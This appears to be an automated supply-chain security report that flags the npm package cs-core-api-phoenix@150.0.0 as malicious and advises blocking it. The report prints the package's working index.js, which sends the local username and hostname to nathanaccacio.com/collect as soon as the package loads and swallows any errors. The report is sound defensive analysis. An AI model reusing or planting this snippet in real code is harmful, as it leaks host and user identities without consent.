Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — The endpoint receives identifying information about the machine and its user. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Matched malicious - **Public report status:** Published - **Threat category:** Data Exfiltration - **Selected version:** 150.0.0 - **Selected version is latest:** Yes - **Analysis source:** AI Security Review (lpm-firewall-ai) This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. The manifest points to index.js, whose top-level code sends host and user identifiers to an external endpoint during package loading. This is concrete, unconsented data disclosure, so the package should be blocked. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-10-19T22:24:28.374Z - **Finished:** 2026-10-19T22:24:42.855Z - **Download time:** 781 ms - **Static scan time:** 6 ms - **AI review time:** 13693 ms - **Total time:** 14481 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** The package entrypoint automatically sends the local username and hostname to an external collection endpoint. - **Trigger:** A consumer imports or requires the package, loading its main entrypoint. - **Impact:** The endpoint receives identifying information about the machine and its user. - **Evidence paths:** index.js - **Review source:** ai\_review - **Reviewed:** 2026-10-19T22:24:42.855Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Top-level code reads the username and hostname, then sends them in an HTTPS POST request without an affirmative consent gate. - **Attack narrative:** When the package is loaded, its entrypoint collects the local username and hostname and sends both to nathanaccacio.com/collect. The transfer happens automatically, with no consent check in the entrypoint. - **Rationale:** The manifest points to index.js, whose top-level code sends host and user identifiers to an external endpoint during package loading. This is concrete, unconsented data disclosure, so the package should be blocked. - **Files touched:** index.js - **Network endpoints:** https://nathanaccacio.com/collect ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The manifest loads index.js as the package entrypoint and defines no lifecycle script., Loading index.js automatically collects the local username and hostname and POSTs them to nathanaccacio.com/collect without a consent check. ## Affected versions and remediation This report applies to cs-core-api-phoenix@150.0.0. - Avoid installing cs-core-api-phoenix@150.0.0. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 2. High: Host Fingerprint Exfiltration - **Category:** Source - **Confidence:** 86.0% - **Path:** index.js - **Public source:** [View source]() Source collects local host identity data and sends it to an external endpoint. Public source snippet (untrusted): ```javascript L1: const https = require('https'); L2: const os = require('os'); ... L4: p: 'cs-core-api-phoenix', L5: u: os.userInfo().username, L6: h: os.hostname() L7: }); ... L15: req.on('error', () => {}); L16: req.write(data); L17: req.end(); ``` ### 3. Low: No License - **Category:** Manifest - **Confidence:** 80.0% Package manifest does not declare a clear license. ### 4. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The manifest loads index.js as the package entrypoint and defines no lifecycle script. Public source snippet (untrusted): ```json { "name": "cs-core-api-phoenix", "version": "150.0.0", "description": "Core API client library", "main": "index.js" } ``` ### 5. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** index.js - **Public source:** [View source]() Loading index.js automatically collects the local username and hostname and POSTs them to nathanaccacio.com/collect without a consent check. Public source snippet (untrusted): ```javascript const https = require('https'); const os = require('os'); const data = JSON.stringify({ p: 'cs-core-api-phoenix', u: os.userInfo().username, h: os.hostname() }); try { const req = https.request({ hostname: 'nathanaccacio.com', path: '/collect', method: 'POST', headers: {'Content-Type': 'application/json', 'Content-Length': data.length} }, () => {}); req.on('error', () => {}); req.write(data); req.end(); } catch(e) {} module.exports = {}; ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** cs-core-api-phoenix - **Ecosystem:** npm - **Version:** 150.0.0 - **Version published:** 2026-10-19T17:50:20.859Z - **Package first seen:** 2026-10-18T13:26:54.233Z - **Package last seen:** 2026-10-19T22:24:58.783Z - **Known versions:** 4 - **Latest version:** 150.0.0 - **Appeal under review:** No - **Description:** Core API client library - **Artifact files:** 2 - **Artifact unpacked size:** 598 bytes - **Artifact signatures:** 2 - **Attestations:** No ## References - [HTML security report]()
